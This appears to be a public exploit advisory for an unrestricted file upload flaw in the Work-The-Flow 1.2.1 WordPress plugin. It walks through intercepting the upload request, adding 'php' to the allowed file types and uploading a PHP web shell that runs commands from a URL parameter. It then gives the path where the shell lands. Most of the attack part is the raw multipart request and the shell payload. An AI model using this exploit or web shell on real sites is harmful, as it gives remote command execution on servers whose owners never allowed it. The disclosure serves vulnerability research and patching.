WordPress Plugin Work-The-Flow 1.2.1 – Arbitrary File Upload
# Author: nopesled # Date: 24/04/14 # Software: https://wordpress.org/plugins/work-the-flow-file-upload/ # Company: http://wtf-fu.com/ # Version: 1.2.1 # Tested on: Windows 7 # Vulnerability: Unrestricted File Upload Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php By editing the data from the control 'accept_file_types', we can upload normally disallowed filetypes such as PHP. Append '|php': - ----------------------------123456789123456\r\n Content-Disposition: form-data; name="accept_file_types"\r\n \r\n jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n Now change the extension in the data for 'filename' to '.php' and enter your desired code like so - ----------------------------123456789123456\r\n Content-Disposition: form-data; name="files[]"; filename="illegal.php"\r\n Content-Type: application/octet-stream\r\n \r\n <?php\n system($_GET[\'cmd\']);\n ?>\n - ----------------------------123456789123456--\r\n Submit this POST request and you will find your file in the directory: /wp-content/uploads/public/wtf-fu_files/default/ It's not required to set the control 'deny_public_uploads' to true, because it still gets uploaded anyway regardless if it's enabled or not. ################################### -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Signed. -----BEGIN PGP SIGNATURE----- Version: Keybase OpenPGP v0.1.11 Comment: https://keybase.io/crypto wsBcBAABCgAGBQJTWQpLAAoJEOB0UMODnV4U7QIIAIKXDQVK8fIXY0BSO4ZrHq8L 2a51JCVmpwBzrHVp87FCpYHcMXyuCXWi5joEbiJFVi5ojHTSii5ZwvBVJwvyoKcy jexj2IvMoC30zrgSdTu9/lMd1tYGYQCSlMubFvzE0edmDCo7fH2gF8Zvfw4Lj4ng KJOpB9HsvDUJVNlbDMl+MbGAW32m6BqG4ttdjE1bs1suDxb/JrS7okuHu1Qmpe0+ Xp50x4wUVrZSeqT5VnWDWjox2BnSGEcAKbkjFeRDBpgJyeWJGH20jXb6m4sYNLDT gf9ml9oM5yncivMN2dJU+hp3Xyfp6rEute9jA+lcEMwZsyjlwAVFhszV4qh7X+o= =5nDI -----END PGP SIGNATURE----- ################################### |